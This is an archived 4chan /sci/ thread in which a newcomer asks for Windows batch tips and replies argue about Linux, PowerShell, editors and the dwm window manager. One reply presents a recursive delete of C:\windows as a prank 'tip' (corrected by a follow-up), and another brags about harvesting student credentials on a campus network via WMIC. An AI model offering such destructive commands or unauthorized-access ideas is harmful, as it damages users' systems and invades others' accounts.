[ 3 / biz / cgl / ck / diy / fa / ic / jp / lit / sci / vr / vt ] [ index / top / reports ] [ become a patron ] [ status ]
2023-11: Warosu is now out of extended maintenance.

/sci/ - Science & Math


View post   

File: 23 KB, 677x340, automate_backup_of_your_computer_using_batch_scripting_02.jpg [View same] [iqdb] [saucenao] [google]
4256053 No.4256053 [Reply] [Original]

hey looking for cool batch tips and stuff (fuck yah i am a new fag) so any cool shit ?

>> No.4256067

Install Linux (install Wubi or something like that if you aren't confident with installing an OS),
Learn bash or sh,
See how could that is and how much of your system you can now configure, set up automatically, modify by yourself,
Learn other scripting languages,
Start scripting everything that doesn't behave exactly as you'd like,
Never come back to windows except when a game doesn't work on wine, be happy ever after, feel amused when someone posts a cap of windows's console.

>> No.4256066

you're better off on /g/

just google "windows console commands"

there's nothing that cool/interesting you can do unless you have a particular interest in mind

you can type in "ftp" to use the built-in ftp program

wmic, netstat, make batch scripts...

>> No.4256068 [DELETED] 

to store small bits of information such as a counter, you can use the rename function as follows:

rename 2 to 3
rename 1 to 2
rename 0 to 1

there must be a better way, but i method in school to check how many people raan windows pinball game on the school computer (which a switched with a 10; run pinball; goto 10; batch file.)

>> No.4256072

>>4256066
k i shall

>> No.4256085

>>4256072

I go to some shitty CC where the IT guys are dumb and I used WMIC to check the users on every computer on campus, and I also came upon hundreds of student ID/passwords meaning I could add/drop classes for random students and cause tons of grief.

Like I said... it's all a waste of time unless you have a particular goal in mind.

>> No.4256098

1) run cmd as admin
2) type: @echo off
3) type: del C:\widnows /s

>> No.4256107

>>4256067
>Install Linux
>Spend weeks learning how to write scripts to fix shit that maybe costs you 5 seconds per day.

>> No.4256121

>>4256107
That's the fun part. The pleasure of having my computer do what I want when I come back bored from work is worth more time than the sum of all the little 10 seconds here and 10 seconds there at times at which I'd rather do something else than do the same repetitive task again. And also, there is added value by scripting compared to doing the repetitive task: you get to script better, which eventually gets to the point where you can gain time by scripting instead of losing time but affecting it better.

>> No.4256136

>>4256053
>batch
Learn bash and install Linux you whore.

Or even Powershell will do

>> No.4256141

>>4256098
You mean:
> type: del C:\windows /s

:)

>> No.4256142

>>4256121
Well I'm glad *your* free time has absolutely zero value to you.

Enjoy your cheeto-stained keyboard ad permavirginity

>> No.4256145

>>4256136
>powershell
I'd rather learn batch and delegate to python/perl/ruby/lua when something is a bit more complex than go to fucking powershell. I installed it. I opened it. I closed it and uninstalled it as fast as I could when I came back from puking in the bathroom.

>> No.4256154

>>4256145
Powershell isn't perfect but if you think batch is better you're fucking retarded.

And python can be run within powershell

>> No.4256164

>>4256145
powershell is batch but with more and better commands.

You sir are a moron.


And yes the default coloring for it sucks nuts, use the properties to change it moron.

>> No.4256170

>>4256142
Do browse 4chan? Yes.
Do you think it is "worth" more than scripting? If so, you're an idiot for trying to evaluate that. If not, you're an idiot for thinking that just because I script things, I spend less of my time doing whatever you consider meaningful in life than YOU do.
Also, since my keyboard is a $135 Das Keyboard, I take the time to wash my hands between eating and typing. Being a computer enthusiast doesn't necessarily mean that I'm fat or untidy (I am untidy about a few things, though, just not as many things as what your ad hominem's stereotype would suggest).

>> No.4256177

Type:

color 0a

and you will become a true hacker.

>> No.4256180

>>4256154
>>4256164
My point isn't that batch is better than powershell. It's that if I want to do something more powerful than bash, I won't go to powershell, I'll go to a real scripting language, because powerful is awful. Being more or less forced to have batch on a windows install, I can't really decide to remove it. But I can decide I don't want powershell on my system. I would even decide I don't want VisualBasic or any Visual stuff if they weren't required in half the fast coded programs I use (not saying "poorly coded", just coded by people who chose the lazy option).

>> No.4256190

>>4256180
>I would even decide I don't want VisualBasic or any Visual stuff if they weren't required
>required

but they aren't required.

Learn how to use command line and you can compile any VS [INSERT_SHITTY_LANG_HERE] program.


I hope you do realize IDE's just pipe to the command line for you behind the scenes

>> No.4256198
File: 78 KB, 345x431, 1326569706288.jpg [View same] [iqdb] [saucenao] [google]
4256198

>>4256180
I don't think you realize the difference between batch,bash,powershell,zsh,etc and your toy scripting language programs.

>> No.4256199

>>4256177
color 0a
tree /f

>> No.4256204

>>4256190
Because memorizing and typing massive command line compile commands is more fun than clicking a button.

And coding in (the linux equivalent of) Notepad is much easier than in an IDE with color coding and intellisense and such.

>> No.4256215
File: 113 KB, 1280x1024, OdoT0.png [View same] [iqdb] [saucenao] [google]
4256215

>>4256204
>Because memorizing and typing massive command line compile commands is more fun than clicking a button.
If you wish to remain that ignorant about the language's compiler that you use ( I doubt you even know the name of the compiler ) then go ahead. This is why there are so many shitty programmers in the market now a days and wannabe hackers that think they are special for being able to do simple things and hit a button.


>And coding in (the linux equivalent of) Notepad is much easier than in an IDE with color coding and intellisense and such.

You're a bad troll but in case you really are that dense: vim,gvim and emacs. Each is more powerful than your shitty toy IDEs

>> No.4256228

>>4256190
What? I don't the IDEs or anything. I need the runtimes to run whatever executable I get that won't run without them. I could get the DLLs one by one when I need them, like a friend of mine who's been using w2k up to something like 2 years ago had to do every time he installed a game, but I'd rather have the runtimes installed than DLLs here and there on my system in a messy way. Unless I didn't understand your post, this has nothing to do with what you're talking about. I don't even have the source of said executables, how would I compile them?

>>4256198
I am not an expert about bash's offsprings and relatives, and I only know the differences of sh and bash that are required to convert code from one to the other if necessary, even though I have never had to use zsh. Then again, saying that I don't realize the difference between all of these is a bit harsh. An expert could tell you maybe a hundred times more than I could, but I know enough to handle all of this. I wouldn't mind knowing more, but hey, can't learn everything at once: for now I know enough.

>> No.4256229
File: 44 KB, 446x400, 1278991902568.jpg [View same] [iqdb] [saucenao] [google]
4256229

>>4256215
>using a source file from X11 because his own programs would all be humiliatingly amateurish.

>> No.4256232

>>4256215
By the way, the post you're answering to isn't from me (the poster from before).

>> No.4256237

>I use inferior development tools and spent five times as long doing basic tasks so my executable files are 5kb smaller and run .3% faster than they would if I compiled the same code in Visual Studio

Serious question. On average, how many waking hours of the day do you spend NOT staring directly into a computer monitor?

>> No.4256235

>>4256229
>source file from X11
>dwm

that's not an X11 src file you moron. If you have no good valid reply then you can go troll some other imageboard.

>>4256228
I understand what you mean by the need of the runtime dll from them, my bad.

>> No.4256239
File: 45 KB, 350x473, Beckettrieur.jpg [View same] [iqdb] [saucenao] [google]
4256239

Not OP but.. aren't you all pure science majors/postgrads?

How did you learn to program and use GNU/unix ? I know most of you have a lot of free time, but how? Textbooks? Tutorials? Trial and error?

>> No.4256247

>>4256229
Actually google image thinks this screenshot has been taken in 2008 or before. The image itself says 2011 max since it was in February. So either he wasn't on his computer, was too lazy to find code, or he just liked this shot. I personally like my emacs with the default colors and only as an IDE. XChat handles IRC well enough and I'd rather not mix the two. Dolphin sucks but remains the best file explorer I've ended up installing and I do like to see icons when I'm not just navigating in command line (else I'd be in command line, obviously).

>> No.4256250

>>4256237
>I use inferior development tools
Horribly wrong, emacs and [g]vim can have the same amount of power as any MS IDE and way more.

>spent five times as long doing basic tasks
Command line compiles isn't that hard.

also have you ever heard of `make' files?

>so my executable files are 5kb smaller and run .3% faster than they would if I compiled the same code in Visual Studio
No one is even claiming this.
Using the command line to compile vs a button does not give you any difference unless you used command options differently between the two.

This is as bad as people hating on gentoo by saying VROOM FAST -03 SUCK IT arguments.

>> No.4256255

>>4256204
>And coding in (the linux equivalent of) Notepad is much easier than in an IDE with color coding and intellisense and such.


>color coding
>bad

I use emacs for my coding, and have to say you're fucking retarded

>> No.4256257

>>4256235
Wait, yes, now I see. It's from this, isn't it.

http://dwm.suckless.org/

Any special reason you/they are redoing from scratch what Windows users have had for 20+ years? Is this one of those things where you thought the Minimize button should be to the right of the Restore button so you/they simply HAD to spend a year designing a windows system from the ground up since .NET didn't let you customize it?

>> No.4256262

>>4256239
>Not OP but.. aren't you all pure science majors/postgrads?
No, there's a few grad students / upper year undergrads here, but the vast majority seems to be people who have no idea what they're talking about.

> How did you learn to program and use GNU/unix ?
> Pure science majors
Most pure science majors (with the exception of computational physics/chemistry/biology) don't touch programming, and the majority that do mostly use "easy" tools like Labview and Matlab. Engineering-types are more likely to use Unix/GNU.

>> No.4256263

>>4256247
It was to show some of the extra features/addons with emacs.

I personally don't use all that stuff because I don't need to, command line for browsing for files is easy enough for me, irssi is my perfered irc (screenshot has an irc made for emacs, i forget the name)

The whole point of things like emacs and vim and is that you don't have to have all those damn features an IDE would have that you might never use and if you want them there's addons for them.


>>4256257
It's a tiling manager window manager. There's 20+ different WM/DWE for linux. We're not stuck with 1 dwm like windows (although iirc there was a few projects trying to do tiling in windows and not use dwm.exe)

base dwm is bare as fuck, it's meant for users to go into the source files (config header mostly) and change it to their likings.

>> No.4256268

>>4256250
>Horribly wrong, emacs and [g]vim can have the same amount of power as any MS IDE and way more.

Lol alright. Give me one reason I would want to switch from Visual Studio that isn't some vague, non-specific "more control" bullshit or anti-Microsoft propaganda.

>> No.4256273

>>4256239
I'm computer science. I had a few programming courses up to 4th year of university, but most of the programming languages I use, I learned by first just copying code here and there while searching in the online manual, then reading people's code while reading the manual, doing my own thing a little bit, and when I felt confident enough, reading books, sometimes newsgroups. That did take some free time but not too much. One of the last languages I learned was python, and I clearly didn't "master" it (I don't know exactly how each lists are handled in memory, I don't know exactly how the garbage collector works etc), but getting the grasp of it was extremely fast for two reasons:
- Languages look like each other, not only syntactically, but also semantically and in their behaviour,
- Python's learning curve is very nice for people who want to use the language fast, for personal use.
In roughly 2 days, I could do a reasonably complex IRC bot (which involved learning python AND my IRC client's API, AND some of IRC's protocol's specifications). And if you ask any serious programmer, it's not an achievement. Learning new things is slow at first, but after some time, it's just like seeing a math problem. You've done so many, you know what you're supposed to do, it's fast because it's natural.

>> No.4256274
File: 35 KB, 525x481, 1322092040638.jpg [View same] [iqdb] [saucenao] [google]
4256274

>>4256262
>Most pure science majors (with the exception of computational physics/chemistry/biology) don't touch programming
>get on research team for physics department
>doing computational stuff
>Most of the physicists are all theorists who never use computers for anything other than email
>my job is to make the GUI for our program used to let them put their calculations into he program and do the experiment for them

>tfw they think im a wizard for making a simple window

>> No.4256272

>>4256263
>base dwm is bare as fuck, it's meant for users to go into the source files (config header mostly) and change it to their likings.

I see. So each individual neckbeard can spend months designing and customizing their own inferior version of Windows.

Neat.

>> No.4256283

>>4256250
I agree with your post but I must point out:
>This is as bad as people hating on gentoo by saying VROOM FAST -03 SUCK IT arguments.
>-03
>0
It's O, not 0.

>> No.4256285

>>4256272
>designing
no, dwm already designed the WM for you. What most people do is merely customize it to their likings _if_needed_

ie: key bindings, window tiling method, (dwm also supports floating like windows) , look and feel

Some `neckbeards' who love their system may even hack around with it and basically make a fork of dwm which is more advanced to their likings and goes beyond simple editing of config.h

>inferior version of Windows
Subjective, if you use windows all your life and you refuse to try anything else then of course you're going to claim it has the very best and who cares around tiling, etc etc


>spend months
bad propaganda troll 0/10

>> No.4256289

>>4256283
yes you are correct there.

>> No.4256300

>Because dwm is customized through editing its source code, it’s pointless to make binary packages of it. This keeps its userbase small and elitist. No novices asking stupid questions.

Ee-yup. Aspies who want to lessen their feelings of inferiority to Microsoft by creating a SOOPER SECRET ELITE crappy remake of Windows.

I suggest going back to the Linux forums, where people are used to, and possibly even respectful of, pathetic shit like that.

>> No.4256308

>>4256300
0/10 bad troll or a horribly ignorant fanboi. You know some people actually like to customize what they use to their likings.

>> No.4256317

>>4256308
If it involves playing with some settings in an Options menu, sure.

If it involves spending hours/days/weeks/whatever getting familiar with and editing source code files and recompiling your entire operating system from scratch, that's just wasting time.

>> No.4256325

>>4256317
> getting familiar with and editing source code files and recompiling your entire operating system from scratch, that's just wasting time.

You see here this is where you're being blatantly ignorant. You refuse to actually realize how the process is done and you act as though it's some complex hard situation that requires to the redo your whole entire OS from scratch.

>> No.4256334

>>4256325
What difference does it make if it's the whole OS or not?

Are you saying it *wouldn't* take someone completely unfamiliar with dwm a large amount of time to get himself to the point that he could significantly customize it? Even if this "dwm.c" is the only major source file (which doesn't seem right, but it's the only one I see right now) it's still pretty damn big.

>you're being blatantly ignorant.

I know exactly what I've gleaned from skimming dwm.suckless.org and the wikipedia page, which advertises resizable windows as a major feature (lol).

>> No.4256350

>>4256334
here's a protip dwm has nothing to do with your OS

here's another protip the dwm.exe used by windows actually has nothing to do with the OS

They are both separate programs made to enhance the underlining OS to a graphical perspective for the user.

dwm uses all those X11 includes because it basically is extending X11 and making it better.

X11 like dwm is not an OS nor does it have to be included. X11 like dwm.exe and dwm are only there to make life better for people who wish to have a graphical prespective


>Are you saying it *wouldn't* take someone completely unfamiliar with dwm a large amount of time to get himself to the point that he could significantly customize it?

Define significantly customize. Most people will like the default dwm settings just like they like the default dwm.exe for Windows.

If you want to add in:
-> new tiling methods
-> new keybinds
-> edit keybinds
-> `rules' for programs
-> color,font,etc changes

These could be done by a fucking monkey as long as he knows how to read the code already in the config.h. You'd have to be a complete moron not to realize how you add one of the above in and if you are that moron there's google for you which will provide an answer because there are always those morons who come up with those questions


If you want to significantly change dwm then:
->First look at other WMs to see if it already hasn't been made
Otherwise then you have to make your own changes by yourself.

Most people don't get to this step because there are so many fucking WMs out there and simple addons to most of them that you never have to fork your own WM together.

IHBT you're a troll and you made me mad, congrats.

>> No.4256381

>>4256247
Have you tried thunar? Why do you ever need to see icons lol?

>>4256239
Programming is math. /sci/ is Science & Math.
Computers are just giant calculators, really.

>>4256263
The irc client actually comes with Emacs, I'm pretty sure. It is called ERC, Emacs IRC client.

>dwm
>not openbox
why?